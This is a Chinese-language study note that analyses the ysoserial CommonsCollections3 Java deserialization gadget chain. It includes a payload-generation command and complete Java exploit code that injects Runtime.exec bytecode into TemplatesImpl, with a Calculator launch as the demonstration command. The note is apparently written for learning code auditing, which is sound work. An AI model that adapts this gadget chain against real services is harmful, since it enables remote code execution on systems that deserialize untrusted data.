Java代码审计学习笔记之ysoserial分析(四、CommonsCollections3利用链)

1.CommonsCollections3利用链测试

这个利用链作者说:Variation on CommonsCollections1 that uses InstantiateTransformer instead of InvokerTransformer.。即该利用链就是在CC1的基础上用InstantiateTransformer替换了InvokerTransformer。当然这里面也同时用到了CC2里面的TemplatesImpl。环境依赖于commons-collections:3.1。mvn如下:

<dependency>
    <groupId>commons-collections</groupId>
    <artifactId>commons-collections</artifactId>
    <version>3.1</version>
</dependency>

1.生成反序列化数据

java -jar ysoserial-0.0.6-SNAPSHOT-all.jar CommonsCollections3 "/Applications/Calculator.app/Contents/MacOS/Calculator" > CC3Test.bin 

2.使用如下代码对序列化数据进行反序列化

import java.io.FileInputStream;
import java.io.FileNotFoundException;
import java.io.IOException;
import java.io.ObjectInputStream;

public class CC3Test {
    public static void main(String[] args) throws IOException, ClassNotFoundException {
        ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream("CC3Test.bin"));
        objectInputStream.readObject();
    }
}

命令正常执行,计算器程序被运行。

2.CommonsCollections3利用链分析

这个利用链结合了CC1CC2当中的一些类。主要用到的类如下:

  • TemplatesImpl:我们知道通过构造一个恶意的TemplatesImpl实例,我们可以在TemplatesImpl.newTransformer()方法执行时,执行任意命令。
  • ChainedTransformer:包含一个transformer数组,执行transform()方法时,前一个transformer.transform()的输出作为后一个transformer.transform()的输入。
  • ConstantTransformer:transform()方法返回一个固定类
  • lazyMap:get方法被调用时若key不存在会执行绑定的transformer的transform()方法
  • AnnotationInvocationHandler:动态代理方法中,以该类作为handler代理某个类,通过该代理类运行被代理类的任意方法时都会先运行AnnotationInvocationHandler.invoke()方法
  • com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter:新来的没见过等会看看是啥
  • org.apache.commons.collections.functors.InstantiateTransformer:新来的没见过等会看看是啥

除了最后两个类其他的类我们都已经学过,因此只需分析最后两个用到的类。

2.1 TrAXFilter

先看一下这个类的构造函数:

    public TrAXFilter(Templates templates)  throws
        TransformerConfigurationException
    {
        _templates = templates;
        _transformer = (TransformerImpl) templates.newTransformer();
        _transformerHandler = new TransformerHandlerImpl(_transformer);
        _overrideDefaultParser = _transformer.overrideDefaultParser();
    }

可以看到这里传入一个Templates,然后会直接调用传入的Templates.newTransformer()方法,那么我们参考CC2中的方法直接构造一个恶意的TransformerImpl实例作为输入参数,显然就可以执行任意命令。使用如下代码进行测试:

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import java.io.IOException;
import java.io.Serializable;
import java.lang.reflect.Field;

import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import javassist.*;

import javax.xml.transform.TransformerConfigurationException;

public class CC3Test {
    public static class StubTransletPayload extends AbstractTranslet implements Serializable {
        public void transform ( DOM document, SerializationHandler[] handlers ) throws TransletException {}
        @Override
        public void transform (DOM document, DTMAxisIterator iterator, SerializationHandler handler ) throws TransletException {}
    }
    public static void main(String[] args) throws IOException, ClassNotFoundException, NotFoundException, CannotCompileException, TransformerConfigurationException, IllegalAccessException, NoSuchFieldException, InstantiationException {
        String command = "/Applications/Calculator.app/Contents/MacOS/Calculator";
        Class transFactory = Class.forName("com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl");
        TemplatesImpl template = new TemplatesImpl();

        //生成一段恶意的_bytecodes
        ClassPool pool = ClassPool.getDefault();
        pool.insertClassPath(new ClassClassPath(StubTransletPayload.class));
        final CtClass clazz = pool.get(StubTransletPayload.class.getName());
        String cmd = "java.lang.Runtime.getRuntime().exec(\"" + command.replaceAll("\\\\","\\\\\\\\").replaceAll("\"", "\\\"") + "\");";
        clazz.makeClassInitializer().insertAfter(cmd);//插入类初始化代码,即要执行的恶意代码
        final byte[] classBytes = clazz.toBytecode();

        //设置templates的_bytecodes
        Field fieldByteCodes = template.getClass().getDeclaredField("_bytecodes");
        fieldByteCodes.setAccessible(true);
        fieldByteCodes.set(template, new byte[][]{classBytes});

        //设置templates的_name
        Field filedName = template.getClass().getDeclaredField("_name");
        filedName.setAccessible(true);
        filedName.set(template,"jus4fun");

        //设置templates的_tfactory参数
        Field filedtfactory = template.getClass().getDeclaredField("_tfactory");
        filedtfactory.setAccessible(true);
        filedtfactory.set(template,transFactory.newInstance());

        new TrAXFilter(template);//_transformer = (TransformerImpl) templates.newTransformer();会触发命令执行

    }
}

运行代码,命令被执行,计算器程序正常弹出。

2.2 InstantiateTransformer

从名字可以看出来,这个类叫实例化转换器,那么显然他会对某个类进行实例化。先看一下这个类的构造函数:

    public InstantiateTransformer(Class[] paramTypes, Object[] args) {
        super();
        iParamTypes = paramTypes;
        iArgs = args;
    }

传入两个参数,一个是类的构造函数参数类型,还有一个是具体的参数。再看看它的transform方法,代码如下:

    public Object transform(Object input) {
        try {
            if (input instanceof Class == false) {
                throw new FunctorException(
                    "InstantiateTransformer: Input object was not an instanceof Class, it was a "
                        + (input == null ? "null object" : input.getClass().getName()));
            }
            Constructor con = ((Class) input).getConstructor(iParamTypes);
            return con.newInstance(iArgs);
    ....省略....
    }

可以看到,这个transform方法获取input对象的class,然后查找它对应参数类型的构造函数,然后调用它的构造函数。那么很显然这里如果我们传入的input参数是一个TrAXFilter类,然后传入一个恶意的template。那么构造函数一旦调用显然就会执行我们的恶意命令。我们使用如下代码进行测试:

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import java.io.IOException;
import java.io.Serializable;
import java.lang.reflect.Field;

import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import javassist.*;
import org.apache.commons.collections.functors.InstantiateTransformer;

import javax.xml.transform.Templates;
import javax.xml.transform.TransformerConfigurationException;

public class CC3Test {
    public static class StubTransletPayload extends AbstractTranslet implements Serializable {
        public void transform ( DOM document, SerializationHandler[] handlers ) throws TransletException {}
        @Override
        public void transform (DOM document, DTMAxisIterator iterator, SerializationHandler handler ) throws TransletException {}
    }
    public static void main(String[] args) throws IOException, ClassNotFoundException, NotFoundException, CannotCompileException, TransformerConfigurationException, IllegalAccessException, NoSuchFieldException, InstantiationException {
        String command = "/Applications/Calculator.app/Contents/MacOS/Calculator";
        Class transFactory = Class.forName("com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl");
        TemplatesImpl template = new TemplatesImpl();

        //生成一段恶意的_bytecodes
        ClassPool pool = ClassPool.getDefault();
        pool.insertClassPath(new ClassClassPath(StubTransletPayload.class));
        final CtClass clazz = pool.get(StubTransletPayload.class.getName());
        String cmd = "java.lang.Runtime.getRuntime().exec(\"" + command.replaceAll("\\\\","\\\\\\\\").replaceAll("\"", "\\\"") + "\");";
        clazz.makeClassInitializer().insertAfter(cmd);//插入类初始化代码,即要执行的恶意代码
        final byte[] classBytes = clazz.toBytecode();

        //设置templates的_bytecodes
        Field fieldByteCodes = template.getClass().getDeclaredField("_bytecodes");
        fieldByteCodes.setAccessible(true);
        fieldByteCodes.set(template, new byte[][]{classBytes});

        //设置templates的_name
        Field filedName = template.getClass().getDeclaredField("_name");
        filedName.setAccessible(true);
        filedName.set(template,"jus4fun");

        //设置templates的_tfactory参数
        Field filedtfactory = template.getClass().getDeclaredField("_tfactory");
        filedtfactory.setAccessible(true);
        filedtfactory.set(template,transFactory.newInstance());

        InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{template});
        instantiateTransformer.transform(TrAXFilter.class);
    }
}

运行代码,命令被执行,计算器程序正常弹出。

2.3 完整利用链

其他的利用点就跟CC1中基本没有什么区别了,完整的调用链如下:

    Gadget chain:
        ObjectInputStream.readObject()
            AnnotationInvocationHandler.readObject()
                Map(Proxy).entrySet()
                    AnnotationInvocationHandler.invoke()
                        LazyMap.get()
                            ChainedTransformer.transform()
                                ConstantTransformer.transform()
                                InstantiateTransformer.transform()
                                    Constructor.newInstance()
                                        TrAXFilter.TrAXFilter()
                                            TemplatesImpl.newTransformer()
                                            TemplatesImpl.getTransletInstance()
                                                StubTransletPayload.init()
                                                    Runtime.getRuntime().exec()

最终的CC3代码如下:

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;

import java.io.*;
import java.lang.reflect.*;
import java.util.HashMap;
import java.util.Map;

import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import javassist.*;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InstantiateTransformer;
import org.apache.commons.collections.map.LazyMap;

import javax.xml.transform.Templates;
import javax.xml.transform.TransformerConfigurationException;

public class CC3Test {
    public static class StubTransletPayload extends AbstractTranslet implements Serializable {
        public void transform ( DOM document, SerializationHandler[] handlers ) throws TransletException {}
        @Override
        public void transform (DOM document, DTMAxisIterator iterator, SerializationHandler handler ) throws TransletException {}
    }
    public static void main(String[] args) throws IOException, ClassNotFoundException, NotFoundException, CannotCompileException, TransformerConfigurationException, IllegalAccessException, NoSuchFieldException, InstantiationException, InvocationTargetException, NoSuchMethodException {

        String command = "/Applications/Calculator.app/Contents/MacOS/Calculator";
        Class transFactory = Class.forName("com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl");
        TemplatesImpl template = new TemplatesImpl();

        //生成一段恶意的_bytecodes
        ClassPool pool = ClassPool.getDefault();
        pool.insertClassPath(new ClassClassPath(StubTransletPayload.class));
        final CtClass clazz = pool.get(StubTransletPayload.class.getName());
        String cmd = "java.lang.Runtime.getRuntime().exec(\"" + command.replaceAll("\\\\","\\\\\\\\").replaceAll("\"", "\\\"") + "\");";
        clazz.makeClassInitializer().insertAfter(cmd);//插入类初始化代码,即要执行的恶意代码
        final byte[] classBytes = clazz.toBytecode();

        //设置templates的_bytecodes
        Field fieldByteCodes = template.getClass().getDeclaredField("_bytecodes");
        fieldByteCodes.setAccessible(true);
        fieldByteCodes.set(template, new byte[][]{classBytes});

        //设置templates的_name
        Field filedName = template.getClass().getDeclaredField("_name");
        filedName.setAccessible(true);
        filedName.set(template,"jus4fun");

        //设置templates的_tfactory参数
        Field filedtfactory = template.getClass().getDeclaredField("_tfactory");
        filedtfactory.setAccessible(true);
        filedtfactory.set(template,transFactory.newInstance());

        final Transformer[] transformers = new Transformer[] {
                new ConstantTransformer(TrAXFilter.class),
                new InstantiateTransformer(
                        new Class[] { Templates.class },
                        new Object[] { template } )};
        final Transformer transformerChain = new ChainedTransformer(transformers);
        final Map innerMap = new HashMap();
        final Map lazyMap = LazyMap.decorate(innerMap, transformerChain);
        //使用反射获取AnnotationInvocationHandler实例
        String ANN_INV_HANDLER_CLASS = "sun.reflect.annotation.AnnotationInvocationHandler";
        Class cls = Class.forName(ANN_INV_HANDLER_CLASS);
        Constructor constructor = cls.getDeclaredConstructor(Class.class,Map.class);
        constructor.setAccessible(true);
        InvocationHandler handler = (InvocationHandler)constructor.newInstance(Override.class,lazyMap);
        Map ProxyedMap = (Map) Proxy.newProxyInstance(Class.class.getClassLoader(), new Class[] {Map.class}, handler);

        InvocationHandler CC1Obj = (InvocationHandler)constructor.newInstance(Override.class, ProxyedMap);

        //序列化
        ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
        ObjectOutputStream  objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
        objectOutputStream.writeObject(CC1Obj);

        //反序列化
        ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(byteArrayOutputStream.toByteArray());
        ObjectInputStream objectInputStream = new ObjectInputStream(byteArrayInputStream);
        Object o = (Object)objectInputStream.readObject();

    }
}